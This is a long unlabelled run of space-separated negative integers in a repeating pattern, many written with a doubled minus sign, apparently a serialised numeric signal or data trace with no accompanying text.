-338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --152 --305 --169 -33 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --169 -33 -203 -355 -457 -305 -67 --152 --338 --474 --322 --101 -101 -288 -406 -271 -50 --169 --338 --474 --322 --84 -118 -305 -423 -288 -67 --152 --338 --457 --305 --67 -135 -305 -440 -305 -67 --135 --322 --440 --288 --50 -152 -322 -457 -305 -84 --135 --305 --440 --271 --33 -169 -338 -237 -50 --135 --271 --152 -67 -254 -406 -288 -84 --101 --254 --135 -67 -254 -389 -271 -67 --118 --271 --152 -50 -237 -389 -271 -67 --135 --288 --169 -33 -220 -372 -254 -50 --152 --288 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -220 -372 -254 -50 --152 --305 --169 -16 -203 -355 -237 -33 --152 --305 --169 -33 -220 -355 -237 -50 --152 --305 --169 -33 -220 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -254 -50 --152 --305 --169 -33 -203 -355 -220 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --203 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --338 --474 --322 --84 -118 -288 -423 -271 -50 --152 --338 --474 --305 --84 -118 -305 -440 -288 -67 --135 --322 --457 --288 --67 -152 -322 -440 -305 -84 --135 --322 --457 --288 --67 -152 -322 -440 -305 -84 --135 --305 --440 --271 --50 -152 -322 -457 -322 -101 --101 --254 --135 -67 -254 -389 -271 -67 --135 --271 --152 -50 -237 -372 -254 -50 --135 --288 --152 -33 -220 -372 -254 -50 --152 --288 --169 -33 -220 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --169 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -16 -220 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --288 --169 -33 -220 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --152 --305 --169 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --186 --372 --491 --338 --101 -101 -288 -406 -271 -50 --152 --338 --457 --305 --67 -135 -305 -440 -305 -84 --135 --322 --440 --288 --67 -152 -322 -457 -305 -84 --135 --305 --440 --288 --50 -152 -322 -457 -322 -101 --118 --305 --440 --271 --50 -169 -338 -474 -338 -135 --67 --237 --118 -84 -271 -389 -271 -67 --135 --271 --152 -50 -237 -372 -254 -50 --135 --288 --169 -33 -220 -372 -254 -50 --135 --305 --169 -33 -220 -355 -237 -33 --152 --305 --169 -33 -220 -355 -254 -50 --152 --305 --169 -33 -220 -355 -237 -50 --152 --338 --474 --305 --84 -118 -288 -423 -271 -50 --152 --338 --474 --305 --84 -135 -305 -440 -305 -67 --135 --322 --457 --288 --67 -152 -322 -440 -305 -84 --135 --322 --440 --288 --67 -152 -322 -457 -305 -84 --118 --305 --440 --271 --50 -152 -322 -457 -305 -101 --101 --254 --135 -67 -254 -389 -271 -67 --135 --271 --152 -50 -237 -372 -271 -67 --135 --288 --152 -50 -237 -372 -254 -50 --135 --288 --169 -33 -220 -372 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --169 -33 -220 -355 -237 -33 --152 --305 --169 -33 -220 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -220 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --169 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -220 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -50 --152 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -33 -203 -338 -237 -33 --152 --305 --169 -33 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --203 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -457 -305 -50 --169 --355 --491 --338 --101 -101 -271 -406 -271 -33 --169 --355 --474 --322 --101 -118 -288 -423 -288 -67 --152 --338 --457 --305 --84 -135 -305 -423 -305 -67 --135 --322 --457 --288 --67 -135 -322 -440 -305 -84 --135 --305 --440 --271 --33 -169 -338 -237 -50 --135 --271 --152 -67 -254 -406 -288 -84 --101 --254 --135 -67 -254 -406 -288 -84 --118 --271 --135 -67 -254 -389 -271 -67 --135 --288 --169 -33 -220 -372 -254 -50 --152 --288 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -220 -372 -474 -322 -67 --152 --338 --474 --322 --101 -101 -288 -406 -271 -50 --169 --338 --474 --322 --84 -118 -305 -423 -288 -67 --135 --322 --457 --305 --67 -135 -305 -440 -305 -67 --135 --322 --457 --288 --67 -135 -322 -457 -305 -84 --118 --305 --440 --288 --50 -152 -338 -457 -322 -84 --118 --305 --440 --288 --50 -152 -338 -457 -322 -101 --118 --305 --423 --271 --50 -169 -338 -457 -322 -101 --101 --288 --423 --271 --50 -152 -322 -457 -305 -84 --118 --305 --440 --271 --50 -169 -338 -457 -322 -101 --118 --305 --440 --271 --50 -169 -338 -237 -50 --135 --271 --135 -67 -254 -406 -288 -84 --101 --254 --135 -67 -254 -406 -288 -84 --118 --271 --152 -50 -237 -389 -271 -67 --135 --288 --169 -50 -237 -372 -254 -50 --135 --288 --169 -33 -220 -372 -254 -50 --135 --288 --169 -33 -220 -372 -254 -33 --169 --355 --491 --322 --101 -118 -288 -423 -288 -67 --152 --322 --457 --305 --67 -135 -322 -440 -305 -84 --135 --305 --440 --271 --50 -152 -322 -457 -305 -84 --135 --305 --440 --271 --50 -152 -322 -457 -322 -101 --118 --305 --440 --271 --50 -169 -338 -474 -338 -118 --67 --237 --118 -84 -271 -406 -271 -67 --118 --271 --152 -50 -237 -372 -271 -50 --135 --288 --169 -33 -220 -372 -254 -50 --152 --288 --169 -33 -220 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --169 -16 -203 -355 -237 -33 --152 --338 --474 --322 --84 -118 -288 -406 -271 -50 --152 --338 --474 --305 --67 -135 -305 -440 -305 -84 --135 --322 --457 --288 --67 -152 -322 -457 -305 -84 --135 --305 --440 --288 --50 -152 -322 -457 -305 -84 --118 --305 --440 --271 --50 -152 -322 -457 -305 -101 --118 --288 --423 --271 --50 -152 -322 -457 -322 -101 --118 --305 --440 --271 --50 -169 -338 -474 -322 -101 --118 --288 --423 --271 --50 -169 -338 -474 -322 -101 --118 --305 --440 --271 --50 -169 -338 -457 -322 -101 --118 --288 --423 --271 --50 -169 -338 -457 -322 -101 --84 --237 --118 -84 -254 -406 -271 -67 --118 --271 --152 -50 -237 -372 -271 -67 --135 --288 --152 -33 -237 -372 -254 -50 --152 --288 --169 -33 -220 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --169 -33 -203 -355 -457 -305 -67 --152 --338 --474 --338 --101 -101 -288 -406 -271 -50 --169 --338 --474 --322 --84 -118 -305 -423 -305 -67 --152 --338 --457 --305 --67 -135 -305 -440 -305 -67 --135 --322 --440 --288 --67 -152 -322 -457 -305 -84 --135 --305 --440 --271 --33 -169 -338 -237 -50 --135 --271 --152 -67 -254 -406 -288 -84 --101 --254 --135 -67 -254 -406 -271 -84 --118 --271 --135 -67 -237 -389 -271 -67 --135 --288 --169 -33 -220 -372 -254 -50 --152 --288 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -220 -372 -254 -50 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --186 --372 --491 --338 --101 -101 -288 -406 -271 -50 --152 --338 --474 --305 --67 -135 -305 -440 -305 -84 --135 --322 --440 --288 --67 -152 -322 -440 -305 -84 --135 --322 --440 --288 --67 -152 -322 -457 -322 -101 --118 --305 --440 --271 --50 -152 -338 -457 -322 -101 --118 --305 --440 --271 --50 -152 -338 -457 -322 -101 --118 --288 --423 --271 --50 -169 -338 -474 -322 -101 --118 --305 --423 --271 --50 -169 -338 -474 -322 -101 --118 --305 --440 --271 --50 -152 -338 -457 -322 -101 --118 --288 --423 --271 --50 -169 -338 -474 -338 -135 --67 --237 --118 -84 -271 -406 -288 -84 --118 --271 --152 -50 -237 -372 -271 -67 --135 --288 --169 -33 -220 -372 -254 -50 --135 --288 --169 -33 -220 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --186 --355 --491 --338 --101 -118 -288 -406 -288 -50 --152 --338 --474 --305 --67 -135 -305 -440 -305 -84 --135 --322 --440 --288 --67 -152 -322 -440 -305 -84 --135 --305 --440 --288 --67 -152 -322 -457 -305 -84 --118 --305 --440 --271 --50 -152 -338 -457 -338 -118 --84 --237 --118 -84 -254 -406 -288 -84 --118 --271 --152 -50 -237 -372 -271 -67 --135 --288 --169 -33 -220 -372 -254 -50 --135 --288 --169 -33 -220 -355 -237 -33 --152 --305 --169 -33 -220 -355 -237 -33 --152 --305 --169 -33 -220 -355 -237 -50 --152 --305 --169 -33 -220 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --169 -33 -220 -355 -237 -33 --152 --305 --169 -33 -220 -355 -237 -33 --152 --305 --169 -33 -220 -355 -237 -50 --152 --305 --169 -33 -220 -372 -254 -50 --152 --288 --169 -50 -237 -372 -254 -50 --135 --288 --152 -50 -237 -372 -271 -67 --135 --271 --135 -67 -254 -389 -271 -84 --118 --271 --135 -67 -271 -406 -288 -84 --118 --271 --135 -67 -237 -389 -271 -50 --135 --288 --169 -33 -203 -355 -237 -33 --169 --322 --203 -0 -186 -338 -440 -288 -50 --186 --372 --508 --355 --135 -67 -237 -372 -237 -0 --203 --389 --508 --355 --135 -84 -254 -389 -254 -33 --186 --355 --491 --338 --101 -101 -271 -406 -271 -50 --169 --338 --474 --322 --84 -118 -305 -423 -288 -67 --152 --322 --457 --305 --67 -135 -322 -440 -305 -67 --135 --322 --457 --305 --67 -135 -305 -440 -305 -84 --135 --305 --440 --288 --67 -152 -322 -440 -305 -84 --118 --305 --440 --288 --50 -152 -322 -440 -305 -84 --135 --305 --440 --288 --50 -152 -322 -457 -322 -84 --118 --305 --440 --271 --50 -169 -338 -237 -50 --135 --271 --135 -67 -254 -406 -288 -84 --101 --254 --135 -67 -254 -406 -288 -84 --118 --271 --135 -50 -254 -389 -271 -67 --135 --288 --152 -50 -220 -372 -254 -50 --135 --288 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -50 --152 --305 --169 -33 -203 -355 -237 -50 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --169 --305 --169 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -33 -220 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --169 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -33 -220 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --152 --305 --169 -33 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --169 -16 -203 -355 -457 -305 -67 --169 --355 --491 --338 --101 -101 -271 -406 -271 -50 --169 --355 --474 --322 --101 -118 -288 -423 -288 -67 --152 --338 --457 --305 --84 -135 -305 -440 -305 -67 --135 --322 --440 --288 --50 -152 -322 -457 -305 -84 --135 --305 --423 --271 --33 -186 -338 -237 -50 --135 --271 --152 -67 -254 -406 -288 -84 --101 --254 --135 -67 -254 -406 -288 -84 --118 --271 --135 -67 -254 -389 -271 -67 --135 --288 --169 -33 -220 -372 -254 -50 --135 --288 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -220 -372 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --169 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -254 -50 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --338 --474 --322 --84 -118 -288 -406 -271 -50 --152 --338 --474 --305 --84 -135 -305 -440 -288 -67 --135 --322 --457 --305 --67 -152 -322 -440 -305 -84 --135 --305 --440 --288 --50 -152 -322 -457 -305 -84 --118 --305 --440 --271 --50 -152 -322 -457 -322 -101 --101 --254 --135 -67 -254 -389 -271 -67 --118 --271 --152 -50 -237 -372 -271 -67 --135 --288 --152 -33 -237 -372 -254 -50 --135 --288 --169 -33 -220 -372 -237 -50 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --169 -33 -220 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -220 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -220 -355 -254 -50 --152 --288 --169 -33 -237 -372 -254 -50 --135 --271 --152 -50 -237 -389 -271 -67 --118 --271 --135 -67 -254 -406 -288 -84 --118 --271 --135 -50 -237 -372 -271 -50 --135 --305 --169 -33 -203 -355 -237 -33 --169 --322 --203 -0 -186 -338 -220 -16 --186 --338 --203 -0 -186 -322 -220 -16 --186 --338 --203 -0 -186 -322 -220 -16 --186 --338 --203 -0 -186 -322 -220 -16 --186 --322 --203 -0 -186 -338 -220 -16 --169 --322 --203 -0 -203 -338 -220 -16 --169 --322 --203 -0 -186 -338 -220 -16 --169 --322 --203 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --186 --372 --491 --338 --101 -101 -271 -406 -271 -50 --152 --338 --474 --305 --84 -135 -305 -440 -305 -67 --135 --322 --457 --288 --67 -152 -322 -440 -305 -84 --135 --305 --440 --288 --50 -152 -322 -457 -322 -101 --118 --288 --440 --271 --50 -169 -338 -474 -338 -135 --67 --237 --118 -84 -271 -406 -288 -84 --118 --271 --152 -50 -237 -389 -271 -67 --135 --288 --152 -50 -220 -372 -254 -50 --135 --288 --169 -33 -220 -372 -237 -50 --152 --305 --169 -33 -220 -355 -237 -50 --152 --305 --169 -33 -220 -355 -237 -50 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -50 --152 --288 --169 -33 -237 -372 -271 -67 --118 --271 --135 -67 -237 -389 -271 -50 --135 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -220 -16 --169 --322 --186 -16 -203 -338 -220 -16 --186 --338 --203 -0 -186 -338 -220 -16 --186 --322 --203 -0 -186 -338 -220 -16 --169 --322 --203 -16 -203 -338 -220 -16 --169 --322 --203 -0 -186 -338 -220 -16 --169 --322 --203 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -355 -237 -50 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --152 --305 --169 -33 -220 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -372 -474 -305 -67 --152 --338 --474 --338 --101 -101 -271 -406 -271 -33 --169 --355 --474 --322 --101 -118 -288 -423 -288 -67 --152 --322 --457 --305 --67 -135 -305 -440 -305 -67 --135 --322 --457 --288 --67 -135 -322 -457 -305 -84 --135 --305 --440 --288 --50 -169 -322 -237 -50 --135 --288 --152 -50 -254 -389 -288 -84 --118 --271 --135 -67 -254 -389 -271 -67 --118 --271 --152 -50 -237 -389 -271 -67 --135 --288 --169 -33 -220 